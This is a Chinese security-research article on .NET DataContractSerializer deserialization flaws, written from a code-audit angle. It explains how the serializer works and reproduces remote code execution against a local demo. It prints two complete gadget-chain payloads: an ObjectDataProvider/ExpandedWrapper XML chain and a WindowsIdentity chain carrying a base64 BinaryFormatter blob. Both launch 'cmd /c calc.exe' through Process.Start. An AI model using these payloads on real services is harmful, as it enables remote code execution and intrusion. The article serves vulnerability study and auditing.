原文来自安全客,作者:Ivan1ee@360云影实验室
原文链接:https://www.anquanke.com/post/id/175796

相关阅读:

0X00 前言

DataContractSerializer类用于序列化和反序列化Windows Communication Foundation (WCF) 消息中发送的数据,用于把CLR数据类型序列化成XML流,它位于命名空间System.Runtime.Serialization,继承于System.Runtime.Serialization.XmlObjectSerializer,在某些场景下开发者使用DataContractSerializer.ReadObject读取了恶意的XML数据就会造成反序列化漏洞,从而实现远程RCE攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。

0X01 DataContractSerializer序列化

类名使用DataContractAttribute 标记,类成员使用DataMemberAttribute 标记,可指定要序列化的属性和字段,下面先来看这个系列课程中经典的一段代码

img

TestClass对象定义了三个成员,并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值

img

使用DataContractSerializer.WriteObject非常方便的实现.NET对象与XML数据之间的转化,笔者定义TestClass对象,常规下使用WriteObject得到序列化后的XML数据

<TestClass xmlns="http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>18</Age><Classname>360</Classname><Name>Ivan1ee</Name></TestClass>

0x02 DataContractSerializer反序列化

2.1、反序列化原理和用法

反序列过程是将XML流或者数据转换为对象,在DataContractSerializer类中创建对象然后调用ReadObject方法实现的

img

首先看DataContractSerializer类的定义,创建实例的时候会带入类型解析器

img

然后在初始化方法 Initialize里将Type类型解析器赋值给成员rootType

img

反序列化过程中使用ReadObject方法调用了ReadObjectHandleExceptions方法,省略一些非核心代码,进入InternalReadObject方法体内

img

ReadDataContractValue方法体内返回用ReadXmlValue处理后的数据,

img

从下图可以看出这是一个C#里的虚方法,在用System.Runtime.Serialization.DiagnosticUtility类处理数据的时候通过DataContract.GetClrTypeFullName得到CLR数据类型的全限定名。

img

下图Demo展示了序列化和反序列化前后的效果

img

反序列化后得到对象的属性,打印输出成员Name的值。

img

2.2、攻击向量—ObjectDataProvider

漏洞的触发点是在于初始化DataContractSerializer类实例时,参数类型解析器type是否可控,也就是说攻击者需要控制重构对象的类型,若可控的情况下并且反序列化了恶意的Xml数据就可以触发反序列化漏洞。笔者继续选择ObjectDataProvider类方便调用任意被引用类中的方法,具体有关此类的用法可以看一下《.NET高级代码审计(第一课) XmlSerializer反序列化漏洞》,因为Process.Start之前需要配置ProcessStartInfo类相关的属性,例如指定文件名、指定启动参数,所以首先考虑序列化ProcessStartInfo再来序列化Process类调用StartInfo启动程序,然后需要对其做减法,去掉无关的System.RuntimeType、System.IntPtr窗口句柄数据,下面是国外研究者提供的反序列化Payload

<?xml version=""1.0""?>

<root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">

    <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal""                                                     xmlns:i=""http://www.w3.org/2001/XMLSchema-instance""                                                      xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">

      <ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics"">

        <__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>

      </ExpandedElement>

      <ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">

        <a:MethodName>Start</a:MethodName>

        <a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">

          <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">cmd</b:anyType>

          <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">/c calc.exe</b:anyType>

        </a:MethodParameters>

        <a:ObjectInstance z:Ref=""ref1""/>

      </ProjectedProperty0>

    </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>

</root>

img

设计的Demo里使用ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml)))反序列化成功弹出计算器。

img

2.3、攻击向量—WindowsIdentity

第二种攻击方法使用WindowsIdentity类,这个类继承了ClaimsIdentity,并且实现了ISerializable接口,实现这个接口好处是可以控制你想反序列化的数据类型,此外还可以避免用到反射机制从而提高了运行速度。具体有关此类的用法可以看一下《.NET高级代码审计(第二课) Json.Net反序列化漏洞》,下面是国外研究者提供的反序列化Poc

<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">

    <WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal">

      <System.Security.ClaimsIdentity.bootstrapContext i:type="x:string" xmlns="">AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL</System.Security.ClaimsIdentity.bootstrapContext>

       </WindowsIdentity>

</root>

img

将Demo中的变量替换掉后,在抛出异常之前成功触发计算器,效果如下图

0x03 代码审计视角

3.1、ReadObject

从代码审计的角度很容易找到漏洞的EntryPoint,通过前面几个小节的知识能发现需要满足一个类型解析器type可控,再传入XML,就可以被反序列化,例如下面的DataContractSerializer类

img

0x04 案例复盘

  1. 使用ObjectDataProvider攻击向量,输入http://localhost:5651/Default Post加载value值

    img

  2. 通过ReadObject 反序列化 ,并弹出计算器,网页返回200。

    img

  3. 使用WindowsIdentity攻击向量,输入http://localhost:5651/Default Post加载value值,弹出计算器的同时,服务也会挂掉。

    img

最后附上动态效果图

img

0x05 总结

DataContractSerializer在实际开发中使用频率较高,但因type需可控才能实施攻击,所以攻击成本相对来说较高。最后.NET反序列化系列课程笔者会同步到 https://github.com/Ivan1ee/https://ivan1ee.gitbook.io/ ,后续笔者将陆续推出高质量的.NET反序列化漏洞文章,欢迎大伙持续关注,交流,更多的.NET安全和技巧可关注实验室公众号。

img


本文经安全客授权发布,转载请联系安全客平台。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/882/